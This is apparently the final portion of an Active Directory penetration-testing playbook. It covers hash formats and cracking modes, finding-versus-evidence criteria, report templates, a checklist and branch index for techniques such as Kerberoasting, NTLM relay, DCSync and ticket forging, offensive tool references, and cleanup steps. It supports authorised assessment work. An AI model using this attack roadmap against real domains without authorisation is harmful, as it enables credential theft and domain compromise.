NT hash 32 hexadecimal characters Mode 1000; pass-the-hash where NTLM is accepted; offline password audit
LM hash 32 hexadecimal characters, often paired with NT Mode 3000; legacy/weak credential format
NetNTLMv1 NTLM challenge/response form Mode 5500; offline crack/relay context, not pass-the-hash
NetNTLMv2 user::domain:challenge:response:blob-style Mode 5600; offline crack or live relay, not pass-the-hash
DCC2 / MS Cache 2 $DCC2$10240#... Mode 2100; offline cracking only
AS-REP etype 23 $krb5asrep$23$... Mode 18200; offline cracking
TGS etype 23 $krb5tgs$23$... Mode 13100; offline cracking
TGS etype 17 $krb5tgs$17$... Mode 19600; offline cracking
TGS etype 18 $krb5tgs$18$... Mode 19700; offline cracking
Timeroast / MS SNTP $sntp-ms$... Mode 31300 with --username; offline cracking
SCCM/PXE protected material $sccm$aes128$... in tooling that emits this form Follow the producing SCCM/PXE tool’s current cracking/export guidance
ccache/kirbi Kerberos credential file Pass-the-ticket / Kerberos authentication
PFX/P12 PKCS#12 certificate + private key Certificate authentication
DPAPI blob/master key Windows DPAPI structures Decrypt protected user/machine secrets with prerequisite keys

30. What is a finding vs. evidence?

Observation Usually Promote when
SMB signing not required Configuration weakness/candidate NTLM is realistically available and relay impact exists or policy requires signing
SPN on service account Normal configuration Weak password/excessive privilege/RC4 creates exploitable path
AS-REP roastable account Finding Pre-auth disabled; severity increases with crack/privilege
GenericWrite on ordinary object Primitive Crosses trust boundary or enables material privilege
GenericAll on Domain Admins-equivalent object Finding Effective and reachable by low-trust principal
LAPS deployed Control Read rights are overbroad or LAPS password is exposed/reused
AD CS exists Architecture Template/CA/endpoint condition is exploitable
BloodHound path Analytical evidence Each underlying edge is validated and path is achievable
Admin access on one workstation Access Unexpected privilege/reuse/tier crossing explains why it was obtained
DCSync right Critical primitive/finding Granted to unintended principal and validated
Captured NetNTLMv2 Credential material Capture/relay is caused by insecure name resolution/coercion and has impact

31. Reporting workflow

For every reportable issue, separate root cause, evidence, attack path and impact. This prevents a report from becoming a list of tool output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
## AD-XX — <finding title>

### Severity
<Critical / High / Medium / Low / Informational>

### Affected assets / principals
- <object or host>

### Root cause
<What is configured incorrectly and where.>

### Evidence
- <exact observation>
- <relevant object DN / ACL / policy / template / protocol setting>
- <minimal command/output reference>

### Attack path
1. Initial state: <low privilege / network only / compromised workstation>
2. <validated primitive>
3. <credential or access gained>
4. <resulting privilege>

### Impact
<What the demonstrated path allows in business/security terms.>

### Recommendation
<Fix root cause first; include hardening that breaks the demonstrated path.>

### Retest
<Exact condition that must no longer be true.>

31.1 Attack path example structure

Step Evidence needed
Ordinary domain user controls the Helpdesk group DACL Effective ACE, trustee SID, target DN and nested-membership context.
Controlled test user gains Helpdesk membership Approved modification and resulting effective membership/access.
Helpdesk can retrieve SRV01’s LAPS secret Computer identity, read/decryption rights and protected credential reference.
That credential grants local administrative access A host-specific minimal access proof.
A privileged domain session is present Session observation only; do not yet claim credential extraction or Tier-0 access.
A privileged credential is actually exposed and usable Attributed extraction/access evidence and a separate minimal validation.

Split root findings when they have independently actionable causes: excessive DACL delegation, excessive LAPS read scope and privileged-session/tier separation. Do not promote session presence alone into proven domain compromise.

31.2 Coverage record

Maintain one row per technique, identity and meaningful target scope. A global checkbox for “AD CS tested” is not evidence that every template/endpoint or ESC branch was assessed.

Technique Target / identity Status Evidence / limitation Next action
AD-SMB-02 Selected host / anonymous NOT_TESTED — —
AD-ADCS-03 CA + template / test user NOT_TESTED — —

Use TESTED_FINDING, TESTED_NO_FINDING, PREREQUISITES_REVIEWED, BLOCKED, INCONCLUSIVE, NOT_TESTED or NOT_APPLICABLE. Include the reason for the last five states. Do not equate PREREQUISITES_REVIEWED with an executed exploitation proof.

32. End-to-end operational checklist

Area Completion criterion
Scope Targets, domains, excluded systems, credentials, password attack rules and exploitation limits recorded
Discovery Reachable hosts, AD-relevant ports and adjacent management/application surfaces mapped
DNS Domain, DCs, KDCs and GC identified
SMB Signing, SMBv1 and anonymous access assessed
LDAP RootDSE and anonymous bind assessed
Users Candidate/valid usernames built with source attribution
Kerberos Username enumeration, AS-REP, Timeroast, service-account/SPN and applicable relay paths assessed
Passwords Lockout/FGPP known before any spray
Relay NTLM and applicable Kerberos relay prerequisites/protections assessed
Coercion Only allow-listed targets checked
Credential inventory Every password/hash/ticket/PFX/DPAPI secret recorded with source
Authenticated LDAP Users/groups/computers/privileged identities inventoried
BloodHound Graph collected and owned principals/hosts marked
Shares Readable/writable shares and SYSVOL reviewed
ACL Outbound control edges validated
GPO Sensitive GPO and link control reviewed
Delegation Unconstrained/constrained/RBCD reviewed
AD CS CA/templates/endpoints/ACLs reviewed
SCCM Site systems/PXE/NAA/RBAC plus RECON/CRED/ELEVATE/EXEC/TAKEOVER classes reviewed if present
MSSQL Integrated auth/roles/links reviewed if present
LAPS Read delegation and host scope reviewed
gMSA/dMSA Managed-password readers, dMSA/container control and service privilege reviewed where applicable
Trusts Direction/type/SID filtering/selective auth mapped
Host access Remote admin paths mapped
Local privilege Token/service/task/path plus UAC/AppLocker/WDAC policy reviewed on compromised hosts
Credentials on hosts Files/config, SAM/LSA/LSASS/DPAPI/tickets/certificates only as needed
Tier 0 DCSync/DA/DC control stopped at minimum proof
Persistence Golden/Silver/Diamond/Sapphire tickets, Golden Certificate, DCShadow/DSRM/SSP/Skeleton-Key prerequisites considered as applicable; no persistence left unless explicitly required
Cleanup Accounts, ACLs, RBCD, certs, files, services/tasks restored/removed
Report Root cause + evidence + attack path + remediation + retest for every finding
Negative coverage Tested-without-finding matrix completed

33. Quick branch index

You have / observed Go to
Only an IP range 2 → 3 → 4 → 5
Domain name but no creds 3 → 4 → 5 → 6 → 7
Valid username 6 / AD-PASS-01
DC reachable, no credentials, NTP path in scope AD-KRB-03
$sntp-ms$... material AD-CRACK-01 / mode 31300
AS-REP hash 29 then 9 if cracked
NetNTLM capture 8 for relay or 29 for cracking
WebClient/WebDAV or Kerberos relay prerequisite AD-KRB-RELAY-01
Cleartext password 9 → 10 → 11–19
NT hash AD-AUTH-01 → 20
AES key 24 — AES-key conversion
TGT/ccache/kirbi 24 → AD-AUTH-01
PFX AD-CERT-01
WriteDACL/GenericAll/GenericWrite 12
Write KeyCredentialLink AD-ACL-03
Write computer object / AllowedToAct AD-ACL-04
Unconstrained delegation host AD-DELEG-02
Constrained delegation principal AD-DELEG-03
AD CS vulnerable candidate 15 and validate exact ESC condition
LAPS read AD-LAPS-01 → target host access
gMSA read AD-GMSA-01 → privilege map
Windows Server 2025 dMSA present AD-DMSA-01
SQL login 17
Local admin 21 → 22/23 as necessary
UAC/AppLocker/WDAC boundary question AD-HOST-03
Readable host configuration secret AD-CRED-03
SeImpersonate AD-HOST-02
Replication rights AD-DOM-01
krbtgt material AD-PERSIST-01 / 27.1; normally stop and report
Domain DPAPI backup key AD-DPAPI-02; normally stop broad collection
CA signing private key AD-PERSIST-02 / 27.1; Golden Certificate capability
Service/computer long-term key for a specific SPN 27.1; Silver Ticket capability if other prerequisites match
Adjacent management/application service AD-SVC-01 then route to the product-specific in-scope test
Nothing found in a branch Mark negative evidence and proceed to the next independent branch

Offensive tooling evolves faster than a static field guide. A command can remain conceptually correct while its executable name, option spelling, default behavior or safety characteristics change. When the installed tool disagrees with this playbook, apply this order:

  • Installed <tool> --help / module --options output.
  • Official documentation for the installed release/tag.
  • Official upstream repository examples/source.
  • Microsoft/RFC/protocol documentation for semantics.
  • This playbook.
  • Historical third-party examples.

Never change a target configuration merely to make an old command or attack path work. Record the installed tool version alongside evidence so the exact action remains reproducible during retest.

Tool Documentation baseline Canonical project
Impacket 0.13.1 stable source baseline https://github.com/fortra/impacket
NetExec 1.5.1 source baseline https://github.com/Pennyw0rth/NetExec
Certipy 5.1.0; wiki includes ESC1–ESC17 https://github.com/ly4k/Certipy
SharpHound/BloodHound Use the collector/docs compatible with the deployed BloodHound CE version https://bloodhound.specterops.io
Kerbrute Verify current userenum / passwordspray options locally https://github.com/ropnop/kerbrute
Responder Use active upstream; basic poisoning and analyze mode differ from WPAD/DHCP modes https://github.com/lgandx/Responder
Timeroast Current upstream documents MS-SNTP output and Hashcat mode 31300 https://github.com/bvcyber/Timeroast
dploot Upstream README documents 4.0.0 syntax; pin the installed build and subcommand help https://github.com/zblurx/dploot
krbrelayx Verify target protocol/hostname and installed options before a relay test https://github.com/dirkjanm/krbrelayx
SCCMHunter Verify the current script/entry point and mode help https://github.com/garrettfoster13/sccmhunter
Misconfiguration Manager SCCM attack/defense matrix is living guidance; use current technique IDs https://github.com/subat0mik/Misconfiguration-Manager

Appendix A — Field notebook templates

A.1 Identity inventory

Identity Domain Type Source Credential refs Groups/roles SPNs Owned? Notes

A.2 Credential inventory

ID Principal Type Source Scope/target Validated protocol First seen Storage ref Notes
CRED-001 password/hash/AES/TGT/PFX/DPAPI

A.3 Host inventory

Host IP Role OS/build SMB signing WinRM RDP MSSQL Local admin refs Privileged session notes

A.4 Primitive inventory

ID Owned principal Primitive Target Validation Expected result Status Rollback
PRIM-001 WriteDACL/RBCD/relay/etc.

A.5 Command/evidence log

Time Operator Source Target Tool/version Command ref Result type Evidence file Next branch

A.6 Findings register

ID Title Severity Root cause Affected Attack path Evidence Recommendation Retest
AD-01

Appendix B — Cleanup checklist

  • Remove operator-created machine/user accounts.
  • Restore group membership changes.
  • Restore DACL/owner changes and verify inheritance.
  • Remove/restore msDS-AllowedToActOnBehalfOfOtherIdentity RBCD changes.
  • Remove shadow KeyCredentials and verify original msDS-KeyCredentialLink state.
  • Restore any GPO changes and force no additional policy refresh unless agreed.
  • Revoke/delete test certificates where appropriate; preserve evidence first.
  • Remove files placed on SMB shares/endpoints.
  • Remove services/tasks created by remote execution tooling when not automatically cleaned.
  • Stop poisoning/relay listeners and delete local capture copies according to evidence policy.
  • Delete temporary DNS records created for testing.
  • Clear test SQL configuration changes such as xp_cmdshell if altered.
  • Remove SCCM/PXE test artifacts.
  • Confirm no persistence mechanism or forged credential was left in production.
  • Re-run targeted checks to prove cleanup, and retain cleanup evidence.

Appendix C — Reporting language prompts

Use these questions while converting technical notes to findings:

  • What exact trust boundary was crossed?
  • What did the attacker need before this weakness became usable?
  • Which configuration or permission is the root cause?
  • Is the observed object/setting inherently unsafe, or only dangerous in combination?
  • What was the minimum proof that demonstrated impact?
  • Which evidence proves the path without relying on a scanner label?
  • Can remediation break the path at more than one point?
  • What exact observable condition should be tested during retest?
  • Did the exploitation create any temporary object that must be cleaned?
  • Did the test expose credentials that should be rotated even after cleanup?

Appendix D — Mind-map coverage and deliberate boundaries

The source is the Orange Cyberdefense ocd-mindmaps project, specifically AD v2025.03, credited there to Mayfly and contributors. This playbook reorganizes the branches and replaces historical command assumptions with explicit prerequisites and evidence. It is not a verbatim command transcription or a guarantee of complete AD attack coverage.

Procedure means this playbook provides concrete steps/commands for the stated objective. Assessment means prerequisite/configuration/impact validation, not every exploit implementation. External means a separate specialist workflow is required and must remain untested in the coverage record unless actually performed.

Mind-map branch Primary home Depth / boundary
Network, DNS, DC identification Chapters 2–3 Procedure; TCP and selected UDP inventory.
Anonymous SMB/LDAP, usernames Chapters 4–6 Procedure; alternative RID/SAMR tools are not repeated.
AS-REP and password policy/spray AD-KRB-02, AD-PASS-01/02 Procedure; resultant policy and attempt budget required.
Kerberoasting without preauthentication AD-KRB-05 Procedure; distinct prerequisite account.
Timeroasting AD-KRB-03 Procedure; MS-SNTP collection and format.
AS-REQ capture AD-KRB-06 Assessment/inspection; exact-format extraction and cracking converter external.
LLMNR/NBT-NS/mDNS capture AD-NTLM-01/02 Procedure; passive observation and active capture distinguished.
ARP/DHCPv6 MITM AD-NTLM-01, chapter 8 Assessment; active network-redirection implementation external.
RPC coercion, WebClient AD-NTLM-03, AD-KRB-RELAY-01 Discovery and compatibility assessment; file-drop/trigger variants are not automatically executed.
NTLM/Kerberos relay Chapter 8 Destination/source assessment plus selected listener procedures; no universal cross-protocol exploit recipe.
WSUS AD-WSUS-01 Policy/transport/control assessment; update publication/execution external.
BloodHound and manual directory inventory Chapters 5, 10 Procedure; DC-only and host-derived data distinguished.
Shares, SYSVOL, GPP Chapter 11 Procedure; bounded inventory and legacy-secret validation.
ACL, groups, shadow credentials, RBCD Chapter 12 Selected procedures plus exact-right validation. Ownership/DACL changes require target-specific rollback.
GPO and DNS administration Chapter 13 Assessment; mass policy deployment and plugin-DLL execution intentionally not default proofs.
Delegation Chapter 14, AD-ACL-04 Inventory and selected ticket procedures; source identity protections still apply.
AD CS Chapter 15, AD-CERT-01/02 Enumeration, ESC1 and HTTP-relay procedures; ESC2–ESC17 have triage criteria, not individual exploit tutorials.
SCCM/PXE/NAA Chapter 16 Discovery/PXE procedures and management-plane taxonomy; individual takeover/execution workflows external.
MSSQL and linked servers Chapter 17 Login, relationship and read-only linked-query procedures; OS execution not enabled by default.
LAPS/gMSA/dMSA Chapter 18 Credential-read and posture procedures; historical dMSA exploitation depends on patch state.
Entra Connect AD-CONNECT-01 Asset/trust assessment; cloud tenant testing and product-specific extraction external.
Trusts and forest boundaries Chapter 19 Inventory and authorization assessment; ticket-forging variants evaluated as prerequisites unless separately required.
Credential reuse and ticket conversion AD-AUTH-01, chapters 20, 24 Procedure; canonical commands are not duplicated per branch.
Local privilege, application control Chapter 21 Inventory and prerequisite assessment; build-specific exploit/bypass external.
SAM/LSA, host files, certificates Chapter 22, AD-CERT-02 Selected collection/inventory procedures.
LSASS, token/session impersonation, KeePass injection AD-CRED-02, chapters 21–22 Protection/impact assessment; invasive implementation external.
DPAPI and backup keys Chapter 23 Selected offline decryption and backup-key acquisition procedures; all-user application triage not implied.
Remote execution Chapter 25 Method-selection assessment; authentication success alone is not proof of execution.
DCSync / NTDS Chapter 26 Targeted and full-domain replication procedures; offline VSS/IFM extraction external.
Golden/Silver/Diamond/Sapphire, CA keys, DCShadow, DSRM, SSP Chapter 27 Prerequisite/impact assessment; live persistence deployment not the default.
Historic CVEs and adjacent applications Chapters 2, 28 Product/build/configuration gates; product-specific exploit procedures external.
Offline cracking Chapter 29 Common format procedures; tool-specific formats require their producer’s conversion guidance.

Appendix E — Technical references and maintenance

Use the original source for a specific mechanism, not the mind map as proof that a command is current. References below complement each card’s tool links.

Subject Primary reference
Assessment process NIST SP 800-115
Forest security boundary Microsoft AD DS terms
LDAP transport/authentication OpenLDAP security
SMB client authentication options Samba smbclient
Password policy resolution Get-ADUserResultantPasswordPolicy
Certificate mapping enforcement Microsoft KB5014754
Credential Guard state Microsoft Credential Guard configuration
Local privilege assessment PrivescCheck
dMSA design Microsoft dMSA overview
BadSuccessor patch tracking Microsoft CVE-2025-53779
Hash formats Hashcat example hashes

Before publishing a new revision, record tool tags/commits and Windows/CA/DC builds used in verification, recheck version-sensitive options, verify the document’s internal links and repeat only the lab procedures affected by the change. Keep three claims separate: source-reviewed syntax, a procedure executed in a named lab, and an observed client-environment result. This playbook is practical guidance aligned with an assessment lifecycle, not a certification of compliance with a standard.